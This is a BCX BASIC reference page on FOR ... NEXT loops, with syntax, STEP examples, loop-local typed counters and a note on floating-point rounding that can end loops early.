Again Append DraftSight into the Path (Optional)
This is strictly needed only to Work with DraftSight from Command Line..
echo 'export PATH=$PATH:/opt/dassault-systemes/DraftSight/Linux' >> ~/.bashrc
Reload the Path with:
bash
Then to Launch DraftSight from Shell:
DraftSight
6. 6. Running DraftSight
Finally, Run & Enjoy DraftSight.
How to Install DraftSight on Kubuntu 16.04 Xenial LTS - Launcher
And before Startig to Use you need to Activate your Free Account by eMail!
How to Install DraftSight on Kubuntu 16.04 Xenial LTS - Activation
How to Install DraftSight on Kubuntu 16.04 Xenial LTS - UI
7. 7. DraftSight Getting-Started Guide
Getting-Started with DraftSight for Kubuntu GNU/Linux
DraftSight Quick Start on Kubuntu
8. So Now I’m truly Happy if My Guide could Help you to Install DraftSight on Kubuntu 16.04 Xenial!
QuickChic Theme • Powered by WordPress
|
{
"url": "https://tutorialforlinux.com/2018/05/22/how-to-install-draftsight-on-kubuntu-16-04-xenial-lts-easy-guide/",
"source_domain": "tutorialforlinux.com",
"snapshot_id": "CC-MAIN-2024-33",
"warc_metadata": {
"Content-Length": "94635",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:UZPP34WRGSZFM5ZS2ENIGBL7ZYCQI2J5",
"WARC-Concurrent-To": "<urn:uuid:965f3b2d-77be-4789-8ce0-3115533b6f04>",
"WARC-Date": "2024-08-15T14:42:19Z",
"WARC-IP-Address": "35.202.201.166",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:4XCV6Z42FZZOINQV4SQOGJB35MMU4MGN",
"WARC-Record-ID": "<urn:uuid:2b482dcf-4dff-496b-a871-6403ff6554e9>",
"WARC-Target-URI": "https://tutorialforlinux.com/2018/05/22/how-to-install-draftsight-on-kubuntu-16-04-xenial-lts-easy-guide/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:82065189-cec0-445d-9745-295277899418>"
},
"warc_info": "isPartOf: CC-MAIN-2024-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-116\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
117,
118,
183,
184,
228,
229,
262,
263,
376,
377,
516,
517,
559,
560,
703,
913,
1090,
1264,
1433,
1615,
1883,
1884,
2082,
2083,
2234,
2235,
2351,
2352,
2464,
2465,
2530,
2563,
2564,
2591,
2631,
2632,
2721,
2746,
2747,
2796,
2797,
2813,
2814,
2837,
2838,
2858,
2896,
2939,
2940,
2986,
2987,
3018,
3048,
3049,
3098,
3099,
3141,
3142,
3168,
3236,
3237,
3266,
3267,
3320,
3397,
3398,
3480,
3481,
3507,
3508,
3517,
3518,
3560,
3561,
3576,
3603,
3604,
3641,
3642,
3711,
3790,
3861,
3862,
3925,
3926,
3967,
3968,
4026,
4027,
4065,
4167,
4168,
4169
],
"line_end_idx": [
117,
118,
183,
184,
228,
229,
262,
263,
376,
377,
516,
517,
559,
560,
703,
913,
1090,
1264,
1433,
1615,
1883,
1884,
2082,
2083,
2234,
2235,
2351,
2352,
2464,
2465,
2530,
2563,
2564,
2591,
2631,
2632,
2721,
2746,
2747,
2796,
2797,
2813,
2814,
2837,
2838,
2858,
2896,
2939,
2940,
2986,
2987,
3018,
3048,
3049,
3098,
3099,
3141,
3142,
3168,
3236,
3237,
3266,
3267,
3320,
3397,
3398,
3480,
3481,
3507,
3508,
3517,
3518,
3560,
3561,
3576,
3603,
3604,
3641,
3642,
3711,
3790,
3861,
3862,
3925,
3926,
3967,
3968,
4026,
4027,
4065,
4167,
4168,
4169,
4207
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 4207,
"ccnet_original_nlines": 93,
"rps_doc_curly_bracket": 0.0004754000110551715,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.22626787424087524,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04161247983574867,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.252275675535202,
"rps_doc_frac_unique_words": 0.45704466104507446,
"rps_doc_mean_word_length": 5.627147674560547,
"rps_doc_num_sentences": 51,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.049020767211914,
"rps_doc_word_count": 582,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.12152671813964844,
"rps_doc_frac_chars_dupe_6grams": 0.10564885288476944,
"rps_doc_frac_chars_dupe_7grams": 0.10564885288476944,
"rps_doc_frac_chars_dupe_8grams": 0.09404580295085907,
"rps_doc_frac_chars_dupe_9grams": 0.09404580295085907,
"rps_doc_frac_chars_top_2gram": 0.05709924176335335,
"rps_doc_frac_chars_top_3gram": 0.05801526829600334,
"rps_doc_frac_chars_top_4gram": 0.06412214040756226,
"rps_doc_books_importance": -273.205078125,
"rps_doc_books_importance_length_correction": -273.205078125,
"rps_doc_openwebtext_importance": -170.31524658203125,
"rps_doc_openwebtext_importance_length_correction": -170.31524658203125,
"rps_doc_wikipedia_importance": -122.96986389160156,
"rps_doc_wikipedia_importance_length_correction": -122.96986389160156
},
"fasttext": {
"dclm": 0.047797441482543945,
"english": 0.8076637983322144,
"fineweb_edu_approx": 1.578819990158081,
"eai_general_math": 0.015380140393972397,
"eai_open_web_math": 0.1367853283882141,
"eai_web_code": 0.018412169069051743
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.462",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "620.0042",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
2,782,480,680,933,464,600 |
Resizing the EBS filesystem on a Cloud9 instance
Originally posted on 2020-10-23
Find your environment in Cloud9 and click it to get to the Environment details page.
Under EC2 Instance click Go To Instance and then click the instance ID.
On the bottom of the screen, below the instance summary panel, click Storage.
Click the link to the block device at the bottom.
Click Actions next to the Create Volume button.
Click Modify Volume.
Enter the new size and click Modify.
Wait until the disk is done resizing. The state will say in use with a green circle next to it before you modify the volume. Then it will still say in use while modifying it but the circle will turn yellow. Once the circle turns green again your volume will be resized. You can also check with lsblk in the Cloud9 terminal to see if the size listed for your disk has changed.
My Cloud9 instance started with a 10 GB EBS volume. Before modifying the volume the output of lsblk looked like this:
$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
loop0 7:0 0 12.7M 1 loop /snap/amazon-ssm-agent/495
loop1 7:1 0 87.9M 1 loop /snap/core/5328
loop2 7:2 0 97.8M 1 loop /snap/core/10185
loop3 7:3 0 28.1M 1 loop /snap/amazon-ssm-agent/2012
nvme0n1 259:0 0 10G 0 disk
└─nvme0n1p1 259:1 0 10G 0 part /
Afterwards it looked like this:
$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
loop0 7:0 0 12.7M 1 loop /snap/amazon-ssm-agent/495
loop1 7:1 0 87.9M 1 loop /snap/core/5328
loop2 7:2 0 97.8M 1 loop /snap/core/10185
loop3 7:3 0 28.1M 1 loop /snap/amazon-ssm-agent/2012
nvme0n1 259:0 0 100G 0 disk
└─nvme0n1p1 259:1 0 10G 0 part /
At this point you need to resize the filesystem to fill the new disk. You can do this with growpart by telling it the name of the disk and which partition to grow. In my case the disk is named nvme0n1 and I want to grow the first partition so the command is:
sudo growpart /dev/nvme0n1 1
After that run lsblk again and it should look like this:
$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
loop0 7:0 0 12.7M 1 loop /snap/amazon-ssm-agent/495
loop1 7:1 0 87.9M 1 loop /snap/core/5328
loop2 7:2 0 97.8M 1 loop /snap/core/10185
loop3 7:3 0 28.1M 1 loop /snap/amazon-ssm-agent/2012
nvme0n1 259:0 0 100G 0 disk
└─nvme0n1p1 259:1 0 100G 0 part /
Now run df -h to see if the updated filesystem is in use. If not, just reboot and you should be set.
|
{
"url": "https://tim.mattison.org/cloud9-and-ec2-hacks/resizing-the-ebs-filesystem-on-a-cloud9-instance",
"source_domain": "tim.mattison.org",
"snapshot_id": "crawl=CC-MAIN-2022-21",
"warc_metadata": {
"Content-Length": "34241",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:J4O4HP2IRPSFMBXSLJLIF3R4SAYVKUOE",
"WARC-Concurrent-To": "<urn:uuid:ab910eff-580e-447f-8398-0ca5610f1c74>",
"WARC-Date": "2022-05-23T14:21:50Z",
"WARC-IP-Address": "76.76.21.123",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:UX6IF2M2CUX7JTLXBQC5PRRZQVH6ICBV",
"WARC-Record-ID": "<urn:uuid:b020676a-6e12-4879-9f05-78f578026f2d>",
"WARC-Target-URI": "https://tim.mattison.org/cloud9-and-ec2-hacks/resizing-the-ebs-filesystem-on-a-cloud9-instance",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c28455ae-ddde-4414-8d8a-f60408f29598>"
},
"warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-6\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
49,
50,
82,
83,
168,
169,
241,
242,
320,
321,
371,
372,
420,
421,
442,
443,
480,
481,
857,
858,
976,
977,
985,
1033,
1097,
1150,
1204,
1269,
1307,
1346,
1347,
1379,
1380,
1388,
1436,
1500,
1553,
1607,
1672,
1709,
1748,
1749,
2008,
2009,
2038,
2039,
2096,
2097,
2105,
2153,
2217,
2270,
2324,
2389,
2426,
2465,
2466
],
"line_end_idx": [
49,
50,
82,
83,
168,
169,
241,
242,
320,
321,
371,
372,
420,
421,
442,
443,
480,
481,
857,
858,
976,
977,
985,
1033,
1097,
1150,
1204,
1269,
1307,
1346,
1347,
1379,
1380,
1388,
1436,
1500,
1553,
1607,
1672,
1709,
1748,
1749,
2008,
2009,
2038,
2039,
2096,
2097,
2105,
2153,
2217,
2270,
2324,
2389,
2426,
2465,
2466,
2566
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 2566,
"ccnet_original_nlines": 57,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2297520637512207,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07933884114027023,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3636363744735718,
"rps_doc_frac_unique_words": 0.37922704219818115,
"rps_doc_mean_word_length": 4.3454108238220215,
"rps_doc_num_sentences": 29,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.631381511688232,
"rps_doc_word_count": 414,
"rps_doc_frac_chars_dupe_10grams": 0.35630905628204346,
"rps_doc_frac_chars_dupe_5grams": 0.37687602639198303,
"rps_doc_frac_chars_dupe_6grams": 0.37687602639198303,
"rps_doc_frac_chars_dupe_7grams": 0.37687602639198303,
"rps_doc_frac_chars_dupe_8grams": 0.37687602639198303,
"rps_doc_frac_chars_dupe_9grams": 0.35630905628204346,
"rps_doc_frac_chars_top_2gram": 0.03335186094045639,
"rps_doc_frac_chars_top_3gram": 0.021678710356354713,
"rps_doc_frac_chars_top_4gram": 0.028349079191684723,
"rps_doc_books_importance": -278.1473083496094,
"rps_doc_books_importance_length_correction": -278.1473083496094,
"rps_doc_openwebtext_importance": -156.33282470703125,
"rps_doc_openwebtext_importance_length_correction": -156.33282470703125,
"rps_doc_wikipedia_importance": -139.22695922851562,
"rps_doc_wikipedia_importance_length_correction": -139.22695922851562
},
"fasttext": {
"dclm": 0.025365889072418213,
"english": 0.740621030330658,
"fineweb_edu_approx": 2.61944842338562,
"eai_general_math": 0.4435760974884033,
"eai_open_web_math": 0.09465426206588745,
"eai_web_code": 0.869025468826294
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.44",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
1,943,312,602,508,259,800 |
Table of Contents
Search
1. Preface
2. Command Line Programs and Utilities
3. Installing and Configuring Command Line Utilities
4. Using the Command Line Programs
5. Environment Variables for Command Line Programs
6. Using infacmd
7. infacmd as Command Reference
8. infacmd aud Command Reference
9. Infacmd bg Command Reference
10. infacmd cms Command Reference
11. infacmd dis Command Reference
12. Infacmd es Command Reference
13. infacmd ipc Command Reference
14. infacmd isp Command Reference
15. infacmd mrs Command Reference
16. infacmd ms Command Reference
17. infacmd oie Command Reference
18. infacmd ps Command Reference
19. infacmd pwx Command Reference
20. infacmd rms Command Reference
21. infacmd rtm Command Reference
22. infacmd sch Command Reference
23. infacmd search Command Reference
24. infacmd sql Command Reference
25. infacmd tdm Command Reference
26. infacmd wfs Command Reference
27. infacmd ws Command Reference
28. infacmd xrf Command Reference
29. infacmd Control Files
30. infasetup Command Reference
31. pmcmd Command Reference
32. pmrep Command Reference
33. Working with pmrep Files
Export
Export
Exports data from reference tables. You can export reference table objects or just the data. You can export data from managed and unmanaged reference tables.
Define the export data with one of the following options:
• ProjectFolder. Name of a project or folder to export.
• MetadataFile. Name of a metadata.xml file that refers to the reference tables to export.
• ObjectList. Full path to a text file that contains a list of objects to export.
When you configure an object list, create a text file that contains a list of objects with the following syntax:
ProjectName/FolderName/reference_table_object1 ProjectName/FolderName/reference_table_object2 ProjectName/FolderName/reference_table_object3
You must configure each path in the object list to have slashes. Do not use backslash in the path.
The infacmd rtm Export command uses the following syntax:
Export <-DomainName|-dn> Domain name <-UserName|-un> User name <-Password|-pd> Password <-SecurityDomain|-sdn> Security domain [<-Gateway|-hp> Domain gateway host:port] [<-NodeName|-nn> Node name] <-RepositoryService|-rs> Model Repository Service name <-CodePage|-cp> Code Page <-Folder|-f> The folder to export to [<-ObjectList|-ol> List of Obects to export] [<-ProjectFolder|-pf> Name of the project folder to export] [<-metadataFile|-mf> Metadata file] [<-Recursive|-r> Include subfolders when exporting project folder] [<-SkipDatGeneration|-sdg> Skip Data Generation]
The following table describes infacmd rtm Export options and arguments:
Option
Argument
Description
-DomainName
-dn
Domain name
Required. Name of the Informatica domain.
You can set the domain name with the -dn option or the environment variable INFA_DEFAULT_DOMAIN. If you set a domain name with both methods, the -dn option takes precedence.
-UserName
-un
User name
Required if the domain uses Native or LDAP authentication. User name to connect to the domain. You can set the user name with the -un option or the environment variable INFA_DEFAULT_DOMAIN_USER. If you set a user name with both methods, the -un option takes precedence.
Optional if the domain uses Kerberos authentication. To run the command with single sign-on, do not set the user name. If you set the user name, the command runs without single sign-on.
-Password
-pd
Password
Required if you specify the user name. Password for the user name. The password is case sensitive. You can set a password with the -pd option or the environment variable INFA_DEFAULT_DOMAIN_PASSWORD. If you set a password with both methods, the password set with the -pd option takes precedence.
-SecurityDomain
-sdn
Security domain
Required if the domain uses LDAP authentication. Optional if the domain uses native authentication or Kerberos authentication. Name of the security domain to which the domain user belongs. You can set a security domain with the -sdn option or the environment variable INFA_DEFAULT_SECURITY_DOMAIN. If you set a security domain name with both methods, the -sdn option takes precedence. The security domain name is case sensitive.
If the domain uses native or LDAP authentication, the default is Native. If the domain uses Kerberos authentication, the default is the LDAP security domain created during installation. The name of the security domain is the same as the user realm specified during installation.
-Gateway
-hp
Domain gateway hostname:portnumber
Required if the gateway connectivity information in the domains.infa file is out of date. Enter the host name and port number for the gateway node in the domain. Use the following syntax:
gateway_hostname:HttpPort
-NodeName
-nn
Node name
Optional. Name of the gateway node for the Model Repository Service.
-RepositoryService
-rs
Model Repository Service name
Model Repository Service name.
-CodePage
-cp
Code Page
Required. Code page for the reference data.
-Folder
-f
The folder to export to
Required. Target location for the export file.
-ObjectList
-ol
List of Obects to export
Fully qualified file name containing the list of reference table objects.
Do not configure this option with the ProjectFolder or metadataFile option.
-ProjectFolder
-pf
Name of the project folder to export
Name of the project and folder to export. Use the following syntax:
ProjectName/FolderName
Do not configure with the metadataFile or ObjectList option.
-metadataFile
-mf
Metadata file
Required for object export. Full path and name for a metadata.xml file that you want to apply the command to. Exports all reference tables that the metadata. xml file contains.
Do not configure this option with the ProjectFolder or ObjectList option.
-Recursive
-r
Include subfolders when exporting project folder
Optional. Use with the ProjectFolder option. Export more than one level of object. Default is not recursive.
-SkipDatGeneration
-sdg
Skip Data Generation
Optional. Writes a .dat file that describes the reference table structure to the directory set in the folder property. The reference table import process does not use this file. Default is False.
Updated February 12, 2021
|
{
"url": "https://docs.informatica.com/data-engineering/shared-content-for-data-engineering/10-0/command-reference/infacmd-rtm-command-reference/export.html",
"source_domain": "docs.informatica.com",
"snapshot_id": "crawl=CC-MAIN-2021-21",
"warc_metadata": {
"Content-Length": "412906",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:4ITVIV3JN5WEQJHWUQKHAWCC73BOTPK6",
"WARC-Concurrent-To": "<urn:uuid:a3079495-ae83-45cf-8da5-3681413382f5>",
"WARC-Date": "2021-05-07T08:07:50Z",
"WARC-IP-Address": "104.121.94.212",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:KF3YNWYNWLLW6BUOTAEHAS5TQAXM2ERX",
"WARC-Record-ID": "<urn:uuid:18395009-8b30-4e98-9838-22d3cd019bd1>",
"WARC-Target-URI": "https://docs.informatica.com/data-engineering/shared-content-for-data-engineering/10-0/command-reference/infacmd-rtm-command-reference/export.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:ccbadd6f-b89c-43db-81e3-e0174f6ec8dd>"
},
"warc_info": "isPartOf: CC-MAIN-2021-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-211.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
18,
19,
26,
27,
40,
81,
136,
173,
226,
245,
279,
314,
348,
384,
420,
455,
491,
527,
563,
598,
634,
669,
705,
741,
777,
813,
852,
888,
924,
960,
995,
1031,
1059,
1093,
1123,
1153,
1184,
1185,
1192,
1193,
1200,
1201,
1359,
1417,
1475,
1568,
1652,
1765,
1906,
2005,
2063,
2635,
2707,
2714,
2723,
2735,
2747,
2751,
2763,
2805,
2979,
2989,
2993,
3003,
3273,
3459,
3469,
3473,
3482,
3778,
3794,
3799,
3815,
4244,
4523,
4532,
4536,
4571,
4759,
4785,
4795,
4799,
4809,
4878,
4897,
4901,
4931,
4962,
4972,
4976,
4986,
5030,
5038,
5041,
5065,
5112,
5124,
5128,
5153,
5227,
5303,
5318,
5322,
5359,
5427,
5450,
5511,
5525,
5529,
5543,
5720,
5794,
5805,
5808,
5857,
5966,
5985,
5990,
6011,
6207,
6208,
6209
],
"line_end_idx": [
18,
19,
26,
27,
40,
81,
136,
173,
226,
245,
279,
314,
348,
384,
420,
455,
491,
527,
563,
598,
634,
669,
705,
741,
777,
813,
852,
888,
924,
960,
995,
1031,
1059,
1093,
1123,
1153,
1184,
1185,
1192,
1193,
1200,
1201,
1359,
1417,
1475,
1568,
1652,
1765,
1906,
2005,
2063,
2635,
2707,
2714,
2723,
2735,
2747,
2751,
2763,
2805,
2979,
2989,
2993,
3003,
3273,
3459,
3469,
3473,
3482,
3778,
3794,
3799,
3815,
4244,
4523,
4532,
4536,
4571,
4759,
4785,
4795,
4799,
4809,
4878,
4897,
4901,
4931,
4962,
4972,
4976,
4986,
5030,
5038,
5041,
5065,
5112,
5124,
5128,
5153,
5227,
5303,
5318,
5322,
5359,
5427,
5450,
5511,
5525,
5529,
5543,
5720,
5794,
5805,
5808,
5857,
5966,
5985,
5990,
6011,
6207,
6208,
6209,
6234
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 6234,
"ccnet_original_nlines": 122,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.26019081473350525,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0069384197704494,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2168256640434265,
"rps_doc_frac_unique_words": 0.2927631735801697,
"rps_doc_mean_word_length": 5.459429740905762,
"rps_doc_num_sentences": 100,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.785909652709961,
"rps_doc_word_count": 912,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.17875075340270996,
"rps_doc_frac_chars_dupe_6grams": 0.10443864017724991,
"rps_doc_frac_chars_dupe_7grams": 0.06105643883347511,
"rps_doc_frac_chars_dupe_8grams": 0.04900582134723663,
"rps_doc_frac_chars_dupe_9grams": 0.03253664821386337,
"rps_doc_frac_chars_top_2gram": 0.08033742010593414,
"rps_doc_frac_chars_top_3gram": 0.012653140351176262,
"rps_doc_frac_chars_top_4gram": 0.01807592064142227,
"rps_doc_books_importance": -475.25543212890625,
"rps_doc_books_importance_length_correction": -475.25543212890625,
"rps_doc_openwebtext_importance": -187.23582458496094,
"rps_doc_openwebtext_importance_length_correction": -187.23582458496094,
"rps_doc_wikipedia_importance": -158.55889892578125,
"rps_doc_wikipedia_importance_length_correction": -158.55889892578125
},
"fasttext": {
"dclm": 0.07117701321840286,
"english": 0.645659863948822,
"fineweb_edu_approx": 2.5397281646728516,
"eai_general_math": 0.441223680973053,
"eai_open_web_math": 0.4183007478713989,
"eai_web_code": 0.39294105768203735
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.44",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-6,581,265,598,322,328,000 |
Control Flow Statements
FOR ... NEXT loop
Syntax:
FOR Counter = StartNumber TO EndNumber [ STEP StepNumber% ]
Statements
[ EXIT FOR ]
NEXT
Parameters:
• Counter Integer variable or array.
• StartNumber Integer, single or double variable or literal number.
• EndNumber Integer, single or double variable or literal number.
• StepNumber Integer variable or literal number.
Here is an easy to follow example that shows how BCX handles positive and negative STEP values (step up and step down).
CLS
DIM i, j, k, q
j = 10
k = 1
q = -1
FOR i = j TO k STEP q
PRINT i
NEXT
PRINT
j = 1
k = 10
q = 1
FOR i = j TO k STEP q
PRINT i
NEXT
KEYPRESS
Result:
10
9
8
7
6
5
4
3
2
1
1
2
3
4
5
6
7
8
9
10
To start the next iteration of a NEXT early in control loops see the description of the ITERATE function.
FOR INTEGER | SINGLE | DOUBLE ... NEXT statement
BCX allows INTEGER, SINGLE, and DOUBLE loop variable declarations. Using this option makes the variable local to the loop. Variables used in defining a loop are local to the loop and cannot be accessed from outside the loop. Here is an example.
DIM I = 100, J = 200
FOR DOUBLE I = 1.1 TO 18.7 STEP 1.1
FOR INTEGER J = 1 TO 10 STEP 5
? USING$("#.##",I), " .....", J
NEXT
NEXT
? : ? : ? I , " ....." , J
Result:
1.10 ..... 1
1.10 ..... 6
2.20 ..... 1
2.20 ..... 6
3.30 ..... 1
3.30 ..... 6
4.40 ..... 1
4.40 ..... 6
5.50 ..... 1
5.50 ..... 6
6.60 ..... 1
6.60 ..... 6
7.70 ..... 1
7.70 ..... 6
8.80 ..... 1
8.80 ..... 6
9.90 ..... 1
9.90 ..... 6
11.00 ..... 1
11.00 ..... 6
12.10 ..... 1
12.10 ..... 6
13.20 ..... 1
13.20 ..... 6
14.30 ..... 1
14.30 ..... 6
15.40 ..... 1
15.40 ..... 6
16.50 ..... 1
16.50 ..... 6
17.60 ..... 1
17.60 ..... 6
18.70 ..... 1
18.70 ..... 6
100 ..... 200
Using floating point numbers for the start and end value of a FOR ... NEXT loop can cause problems. The basis of the difficulty is that some floating point numbers will be rounded up or down because they can not be represented, with absolute accuracy, bit for bit. One specific problem in a FOR ... NEXT loop is that this rounding of the floating point numbers, and more specifically that the rounding up of the accumulated value, may push beyond the end value causing the loop to end prematurely as in the following example.
DIM I = 100, J = 200
FOR DOUBLE I = 9.9 TO 18.7 STEP 1.1
FOR INTEGER J = 1 TO 10 STEP 5
? USING$("#.##",I), " .....", J
NEXT
NEXT
? : ? : ? I , " ....." , J
Result:
9.90 ..... 1
9.90 ..... 6
11.00 ..... 1
11.00 ..... 6
12.10 ..... 1
12.10 ..... 6
13.20 ..... 1
13.20 ..... 6
14.30 ..... 1
14.30 ..... 6
15.40 ..... 1
15.40 ..... 6
16.50 ..... 1
16.50 ..... 6
17.60 ..... 1
17.60 ..... 6
100 ..... 200
